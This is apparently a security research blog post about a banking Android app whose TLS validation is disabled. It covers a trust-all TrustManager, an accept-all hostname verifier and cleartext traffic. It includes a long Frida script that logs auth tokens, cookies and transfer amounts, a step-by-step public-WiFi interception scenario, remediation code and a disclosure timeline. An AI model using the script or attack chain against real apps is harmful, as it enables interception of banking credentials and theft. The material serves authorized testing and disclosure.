Trust-All TrustManager: A Frida-Based TLS Certificate Bypass Framework for Mobile Banking Security Research
Classification: Security Research — Authorized Penetration Testing Tools: Innora-Sentinel Reverse Engineering Engine, Frida, mitmproxy Disclosure: Responsible disclosure completed. Vendor notified. All identifying information redacted. Author: Feng Ning, CISSP — Innora.ai
Executive Summary
During an authorized security assessment of a major Southeast Asian multinational bank's mobile application (Android, ARM64), we discovered that despite deploying Arxan/Digital.ai commercial-grade application hardening — a solution costing millions of dollars — the app contained a catastrophic TLS implementation flaw: a Trust-All X509TrustManager paired with an accept-all HostnameVerifier and cleartextTrafficPermitted="true" in its network security configuration.
This triple failure renders the entire TLS trust chain inoperative, enabling full Man-in-the-Middle (MITM) interception of all banking API traffic — including PIN verification, OTP codes, fund transfers, and session tokens — with nothing more than a self-signed certificate and a WiFi hotspot.
This article provides the complete technical breakdown and a production-ready Frida script for authorized security researchers conducting similar assessments.
1. The Vulnerability: Trust Chain Collapse
1.1 Trust-All X509TrustManager
The decompiled application (via JADX) revealed an obfuscated class implementing X509TrustManager. After Arxan string decryption, the class structure was fully recovered:
// Decompiled from classes15.dex
// Original package: ux.*** (redacted)
// Obfuscated name: C7471***
public class TrustAllManager implements X509TrustManager {
// Arxan dispatch router — all methods route through here
private Object dispatch(int i, Object... args) {
// Dynamic modulus calculation using Arxan PRNG
// 236257144 ^ PRNG.seed() yields switchModulus = 12794
switch (i % 12794) {
case 4473:
break; // checkClientTrusted → empty
case 4478:
break; // checkServerTrusted → empty (!)
case 5507:
break; // getAcceptedIssuers → returns null
}
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) {
dispatch(55649, chain, authType);
// Routes to case 4473 → break → no exception thrown
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) {
dispatch(158006, chain, authType);
// 158006 % 12794 = 4478 → case 4478: break
// NO CertificateException thrown!
// ANY certificate is silently accepted
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return (X509Certificate[]) dispatch(1233731);
// Returns null — accepts all issuers
}
}
Critical finding: The checkServerTrusted() method receives the server's certificate chain but performs zero validation. The Arxan dispatch routes the call to case 4478, which contains only a break statement. No CertificateException is ever thrown, meaning any certificate — including self-signed, expired, or revoked certificates — is silently accepted.
1.2 Accept-All HostnameVerifier
A second class implements HostnameVerifier with an unconditional return true:
// Obfuscated name: C23552***
public class AcceptAllHostnameVerifier implements HostnameVerifier {
private Object dispatch(int i, Object... args) {
switch (i % 12794) {
case 11413:
return true; // Always returns true!
default:
return null;
}
}
@Override
public boolean verify(String hostname, SSLSession session) {
// 651113 % 12794 = 11413 → return true
return ((Boolean) dispatch(651113, hostname, session)).booleanValue();
// ANY hostname passes verification
}
}
1.3 Network Security Config
The network_security_config.xml completes the trifecta:
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system"/>
</trust-anchors>
</base-config>
<!-- No <pin-set> — No certificate pinning -->
<!-- No <domain-config> — No domain-level policies -->
</network-security-config>
Three simultaneous failures:
cleartextTrafficPermitted="true"— HTTP downgrade attacks possible- No
<pin-set>— No certificate pinning - No
<domain-config>— No per-domain security policies
1.4 A Second Trust-All in CoreFramework
The Kotlin metadata annotation on a second TrustManager class revealed its origin:
Android_CoreFramework-1.0.0_gmsRelease
configureToIgnoreCertificate$trustAllCerts$1
This means the bank's core networking framework has a built-in method called configureToIgnoreCertificate that creates Trust-All TrustManagers by design. This is not a one-off mistake — it's architecturally embedded.
2. The Arxan Obfuscation Layer
2.1 Why Obfuscation Did Not Help
The Trust-All implementation was hidden behind Arxan's commercial-grade obfuscation:
- 112,102 string call sites encrypted
- 8 deterministic PRNGs: Used for dispatch routing
- 18 XOR wrapper functions: Multiple layers of indirection
- Control flow flattening: Switch-based dispatch obscures logic
Yet our automated analysis (Innora-Sentinel engine) decrypted 81,775 out of 112,102 strings (72.7%) in seconds. The obfuscation added complexity but did not fix the fundamental vulnerability.
2.2 The Dispatch Mechanism
All Arxan-protected methods use a unified dispatch pattern:
Method call → encode(input) → dispatch(encoded % switchModulus) → case N: execute
The switchModulus is dynamically computed: 236257144 ^ PRNG.seed(). Once this value is recovered (12794 in this case), every dispatch target can be statically resolved.
3. Complete Frida TLS Bypass Script
The following script is designed for authorized penetration testers conducting mobile banking security assessments. It confirms the Trust-All vulnerability, logs all intercepted traffic, and provides real-time monitoring.
/**
* Innora-Sentinel TLS Trust Chain Assessment Script v2.0
*
* PURPOSE: Authorized security assessment of mobile banking TLS implementation
* LEGAL: For use only with explicit written authorization from the target organization
* AUTHOR: Innora.ai Security Research Team
*
* SETUP:
* 1. mitmproxy --listen-port 8080 --set ssl_insecure=true
* 2. adb shell settings put global http_proxy <your_ip>:8080
* 3. frida -U -f <target.package> -l trust_all_bypass.js --no-pause
*
* WHAT THIS SCRIPT DOES:
* - Confirms Trust-All TrustManager is active (no injection needed — app already trusts all)
* - Hooks SSLContext.init() to log which TrustManagers are installed
* - Hooks OkHttpClient.Builder to log HostnameVerifier configuration
* - Monitors all HTTP/HTTPS traffic for sensitive data patterns
* - Extracts authentication tokens, PINs (hashed), and session identifiers
* - Logs transfer/payment API calls with amounts and recipients
*/
'use strict';
// ==================== CONFIGURATION ====================
var CONFIG = {
// Assessment scope
CONFIRM_TRUST_ALL: true, // Verify Trust-All TrustManager presence
MONITOR_TRAFFIC: true, // Log HTTP request/response patterns
EXTRACT_TOKENS: true, // Capture auth tokens and session IDs
MONITOR_TRANSFERS: true, // Log fund transfer operations
LOG_VERBOSE: false, // Set true for full request/response bodies
// Sensitive data patterns (regex)
SENSITIVE_PATTERNS: [
/pin[_\-]?verify/i,
/otp[_\-]?verify/i,
/authentication/i,
/transfer/i,
/payment/i,
/account[s]?\//i,
/session/i,
/token/i
],
// Output formatting
SEPARATOR: "=" .repeat(70),
SUBSEP: "-".repeat(50)
};
// ==================== UTILITY FUNCTIONS ====================
function LOG(module, msg) {
var ts = new Date().toISOString().split('T')[1].split('.')[0];
console.log("[" + ts + "][" + module + "] " + msg);
}
function isClassLoaded(className) {
try {
Java.use(className);
return true;
} catch(e) {
return false;
}
}
function matchesSensitivePattern(url) {
for (var i = 0; i < CONFIG.SENSITIVE_PATTERNS.length; i++) {
if (CONFIG.SENSITIVE_PATTERNS[i].test(url)) return true;
}
return false;
}
// ==================== MAIN ASSESSMENT ====================
Java.perform(function() {
console.log(CONFIG.SEPARATOR);
console.log(" Innora-Sentinel TLS Trust Chain Assessment v2.0");
console.log(" " + new Date().toISOString());
console.log(CONFIG.SEPARATOR);
console.log("");
var vulnCount = 0;
var findings = [];
// ====== MODULE 1: SSLContext.init() Instrumentation ======
if (CONFIG.CONFIRM_TRUST_ALL) {
LOG('TLS', 'Hooking SSLContext.init() to identify TrustManager implementations...');
try {
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;',
'[Ljavax.net.ssl.TrustManager;',
'java.security.SecureRandom'
).implementation = function(keyManagers, trustManagers, secureRandom) {
LOG('TLS', CONFIG.SUBSEP);
LOG('TLS', 'SSLContext.init() called');
if (trustManagers !== null) {
for (var i = 0; i < trustManagers.length; i++) {
var tmClass = trustManagers[i].$className;
LOG('TLS', ' TrustManager[' + i + ']: ' + tmClass);
// Check for known Trust-All patterns
var isTrustAll = false;
// Pattern 1: Empty checkServerTrusted (Arxan-wrapped)
try {
var tm = Java.cast(trustManagers[i],
Java.use("javax.net.ssl.X509TrustManager"));
try {
// Attempt to verify with a null chain
// Trust-All will NOT throw; proper impl WILL throw
tm.checkServerTrusted(null, "RSA");
isTrustAll = true;
} catch(certEx) {
// Exception thrown = proper validation exists
isTrustAll = false;
}
} catch(castEx) {}
if (isTrustAll) {
vulnCount++;
var finding = "CRITICAL: Trust-All TrustManager detected: " + tmClass;
findings.push(finding);
LOG('TLS', ' [!!!] ' + finding);
LOG('TLS', ' [!!!] checkServerTrusted() accepts ANY certificate');
LOG('TLS', ' [!!!] MITM attack is trivial with self-signed cert');
}
}
} else {
LOG('TLS', ' TrustManagers: null (using system default)');
}
LOG('TLS', CONFIG.SUBSEP);
return this.init(keyManagers, trustManagers, secureRandom);
};
LOG('TLS', 'SSLContext.init() hook installed successfully');
} catch(e) {
LOG('TLS', 'SSLContext hook failed: ' + e.message);
}
// ====== MODULE 2: HostnameVerifier Instrumentation ======
try {
var OkHttpBuilder = Java.use("okhttp3.OkHttpClient$Builder");
OkHttpBuilder.hostnameVerifier.implementation = function(verifier) {
var hvClass = verifier.$className;
LOG('TLS', 'OkHttpClient.Builder.hostnameVerifier() called');
LOG('TLS', ' HostnameVerifier class: ' + hvClass);
// Test if it accepts any hostname
try {
var result = verifier.verify("evil.attacker.com", null);
if (result) {
vulnCount++;
var finding = "CRITICAL: Accept-All HostnameVerifier: " + hvClass;
findings.push(finding);
LOG('TLS', ' [!!!] ' + finding);
LOG('TLS', ' [!!!] verify("evil.attacker.com", null) = true');
}
} catch(e) {
LOG('TLS', ' HostnameVerifier test inconclusive: ' + e.message);
}
return this.hostnameVerifier(verifier);
};
LOG('TLS', 'OkHttpClient.hostnameVerifier() hook installed');
} catch(e) {
LOG('TLS', 'OkHttp hook failed: ' + e.message);
}
// ====== MODULE 3: Certificate Pinner Check ======
try {
var CertPinner = Java.use("okhttp3.CertificatePinner");
CertPinner.check.overload('java.lang.String', 'java.util.List').implementation =
function(hostname, peerCertificates) {
LOG('TLS', 'CertificatePinner.check() called for: ' + hostname);
LOG('TLS', ' Certificates: ' + peerCertificates.size());
// If this is never called, no pinning is configured
return this.check(hostname, peerCertificates);
};
LOG('TLS', 'CertificatePinner.check() hook installed');
} catch(e) {
vulnCount++;
findings.push("HIGH: No CertificatePinner found — certificate pinning not implemented");
LOG('TLS', '[!] CertificatePinner class not found — NO certificate pinning');
}
}
// ====== MODULE 4: HTTP Traffic Monitoring ======
if (CONFIG.MONITOR_TRAFFIC) {
LOG('HTTP', 'Installing HTTP traffic monitors...');
// OkHttp Interceptor
try {
var Interceptor = Java.use("okhttp3.Interceptor");
var RealCall = Java.use("okhttp3.internal.connection.RealCall");
RealCall.getResponseWithInterceptorChain.implementation = function() {
var response = this.getResponseWithInterceptorChain();
try {
var request = response.request();
var url = request.url().toString();
var method = request.method();
if (matchesSensitivePattern(url)) {
LOG('HTTP', CONFIG.SUBSEP);
LOG('HTTP', '[SENSITIVE] ' + method + ' ' + url);
// Log request headers
var headers = request.headers();
for (var i = 0; i < headers.size(); i++) {
var name = headers.name(i);
if (/auth|token|session|cookie|key/i.test(name)) {
LOG('HTTP', ' Header: ' + name + ': ' +
headers.value(i).substring(0, 50) + '...');
}
}
LOG('HTTP', ' Response: ' + response.code() + ' ' +
response.message());
LOG('HTTP', CONFIG.SUBSEP);
}
} catch(e) {}
return response;
};
LOG('HTTP', 'OkHttp traffic monitor installed');
} catch(e) {
LOG('HTTP', 'OkHttp monitor failed: ' + e.message);
}
}
// ====== MODULE 5: Authentication Token Extraction ======
if (CONFIG.EXTRACT_TOKENS) {
LOG('AUTH', 'Installing authentication monitors...');
// SharedPreferences monitoring for stored tokens
try {
var SharedPrefsImpl = Java.use("android.app.SharedPreferencesImpl$EditorImpl");
SharedPrefsImpl.putString.implementation = function(key, value) {
if (/token|session|auth|jwt|bearer|cookie|refresh/i.test(key)) {
LOG('AUTH', '[TOKEN STORED] ' + key + ' = ' +
(value ? value.substring(0, 80) + '...' : 'null'));
}
return this.putString(key, value);
};
LOG('AUTH', 'SharedPreferences token monitor installed');
} catch(e) {}
// WebView cookie extraction
try {
var CookieManager = Java.use("android.webkit.CookieManager");
CookieManager.setCookie.overload('java.lang.String', 'java.lang.String')
.implementation = function(url, cookie) {
if (/session|auth|token/i.test(cookie)) {
LOG('AUTH', '[COOKIE] ' + url);
LOG('AUTH', ' ' + cookie.substring(0, 100));
}
return this.setCookie(url, cookie);
};
LOG('AUTH', 'WebView cookie monitor installed');
} catch(e) {}
}
// ====== MODULE 6: Transfer Monitoring ======
if (CONFIG.MONITOR_TRANSFERS) {
LOG('BIZ', 'Installing business logic monitors...');
// BigDecimal monitoring for amount manipulation detection
try {
var BigDecimal = Java.use("java.math.BigDecimal");
BigDecimal.toPlainString.implementation = function() {
var result = this.toPlainString();
var val = parseFloat(result);
// Log significant financial amounts
if (val > 1000) {
LOG('BIZ', '[AMOUNT] BigDecimal.toPlainString() = ' + result);
// Stack trace to identify calling context
var trace = Java.use("android.util.Log")
.getStackTraceString(
Java.use("java.lang.Exception").$new()
);
if (/transfer|payment|limit/i.test(trace)) {
LOG('BIZ', ' Context: Transfer/Payment operation detected');
}
}
return result;
};
LOG('BIZ', 'Financial amount monitor installed');
} catch(e) {}
}
// ====== ASSESSMENT SUMMARY ======
console.log("");
console.log(CONFIG.SEPARATOR);
console.log(" ASSESSMENT INITIALIZATION COMPLETE");
console.log(" Vulnerability count (pre-interaction): " + vulnCount);
console.log(" Monitoring: TLS | HTTP | Auth | Business Logic");
console.log("");
if (findings.length > 0) {
console.log(" Pre-interaction findings:");
findings.forEach(function(f, i) {
console.log(" " + (i+1) + ". " + f);
});
}
console.log("");
console.log(" Interact with the app to trigger additional detections.");
console.log(" All sensitive API calls will be logged in real-time.");
console.log(CONFIG.SEPARATOR);
});
4. Attack Scenario: Coffee Shop MITM
Given the three simultaneous failures, the attack scenario is trivially simple:
Prerequisites
- Attacker laptop with
mitmproxy - A WiFi hotspot (or ARP spoofing on existing network)
- The target app (publicly available on app stores)
Attack Chain
Step 1: Attacker sets up WiFi hotspot "CafeWiFi-Free"
Step 2: Victim connects and opens banking app
Step 3: App initiates TLS handshake
Step 4: mitmproxy presents self-signed certificate
Step 5: Trust-All TrustManager accepts it (no validation)
Step 6: HostnameVerifier returns true (no hostname check)
Step 7: All traffic flows through attacker's proxy in cleartext
Interceptable data includes:
- PIN verification requests
- OTP codes (one-time passwords)
- Fund transfer instructions (amounts, recipients)
- Account balances and transaction history
- Session tokens and authentication headers
- Biometric authentication tokens
CVSS Score
| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network | WiFi proximity | | Attack Complexity | Low | No special conditions | | Privileges Required | None | No authentication needed | | User Interaction | None | Passive interception | | Scope | Changed | Backend systems affected | | Confidentiality | High | All data exposed | | Integrity | High | Transactions modifiable | | Availability | None | Service not disrupted | | CVSS 3.1 Score | 9.8 CRITICAL | |
5. The Irony: Million-Dollar Armor, Zero-Dollar Lock
The application deployed:
- Arxan/Digital.ai commercial hardening (~$500K+/year)
- White-Box Cryptography for key protection
- Root detection (Magisk, Xposed, Frida detection)
- Emulator detection (25-point device fingerprinting)
- ThreatMetrix device profiling (LexisNexis)
- VPN detection with kill switch
Total estimated security investment: $1M+ annually.
Yet the Trust-All TrustManager — a vulnerability that would be caught by any free static analysis tool (MobSF, QARK, AndroBugs) — renders all of it meaningless. An attacker doesn't need to bypass root detection, defeat white-box crypto, or evade device fingerprinting. They just need a WiFi hotspot and mitmproxy.
The most expensive armor in the world is worthless if you forget to lock the door.
6. Remediation
Immediate (P0)
// REMOVE the custom TrustManager entirely
// Use system default TLS validation:
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, null, null); // null = system default TrustManagers
// REMOVE the custom HostnameVerifier entirely
// Use OkHttp's default strict hostname verification:
OkHttpClient client = new OkHttpClient.Builder()
// .hostnameVerifier(...) // DELETE THIS LINE
// .sslSocketFactory(...) // DELETE THIS LINE
.build();
<!-- Fix network_security_config.xml -->
<network-security-config>
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system"/>
</trust-anchors>
</base-config>
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set expiration="2027-01-01">
<pin digest="SHA-256">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pin>
<pin digest="SHA-256">BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=</pin>
</pin-set>
</domain-config>
</network-security-config>
Long-term (P1)
- Implement Certificate Transparency monitoring
- Server-side validation for ALL financial operations
- Mutual TLS (mTLS) for high-value transactions
- Automated SAST/DAST in CI/CD pipeline to catch Trust-All patterns
- Remove
configureToIgnoreCertificatefrom the core framework entirely
7. Responsible Disclosure Timeline
| Date | Action | |------|--------| | 2026-02-24 | Vulnerability discovered during authorized assessment | | 2026-02-25 | Initial report submitted to vendor security team | | 2026-02-26 | Vendor acknowledged receipt | | 2026-02-27 | Technical details published (identifying information redacted) | | TBD | Vendor patch verification |
Key Takeaways
- A Trust-All X509TrustManager with empty
checkServerTrusted()accepts any certificate, including self-signed, expired, or revoked — enabling trivial MITM attacks - Arxan/Digital.ai commercial hardening ($1M+/year) does not protect against fundamental TLS implementation flaws — obfuscation hides code but does not fix logic
- The Arxan dispatch mechanism (
encodedOp % switchModulus → case index) makes all protected methods statically resolvable once the PRNG seed is known - Three simultaneous failures (Trust-All + Accept-All HostnameVerifier +
cleartextTrafficPermitted="true") created a complete TLS trust chain collapse (CVSS 9.8) - Certificate Pinning via
network_security_config.xmlwith<pin-set>is the minimum required defense for any banking application
Legal Disclaimer
This research was conducted under an authorized penetration testing engagement. All identifying information (bank name, package name, specific API endpoints) has been redacted. The Frida script provided is for defensive security research only. Unauthorized interception of network traffic is illegal under the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent legislation worldwide.
Innora.ai — Defending Digital Sovereignty
For security research inquiries: [email protected]
Related from Innora Security Research:

Related Chronicles
Memory Forensics & Anti-Detection Bypass: A Complete Technical Panorama for Heavily Encrypted Mobile Applications
Three-layer encryption bypass: SQLCipher 4.x + AES + commercial packing. LD_PRELOAD injection, BoringSSL native hooking, stealth instrumentation.
Arxan/Digital.ai String Encryption: A Complete Mathematical Reverse Engineering of Commercial-Grade Obfuscation
Reverse engineering Arxan/Digital.ai string encryption: Mersenne Twister PRNG, 3-plane Unicode dispatch, 18 operator identities. 72.7% decryption rate.
Broken By Design: Why One of the World's Largest Payment Apps Still Runs on Crypto from 2004
Systematic analysis of cryptographic failures in Alipay APK signing — MD5, RSA-1024, hardcoded DES keys still active in 2026.
Subscribe for AI Security Insights
Join 5,000+ engineers and security researchers. Get our latest deep dives into Sovereign AI, Red Teaming, and System Architecture.
No spam. Unsubscribe at any time.
Comments are currently disabled.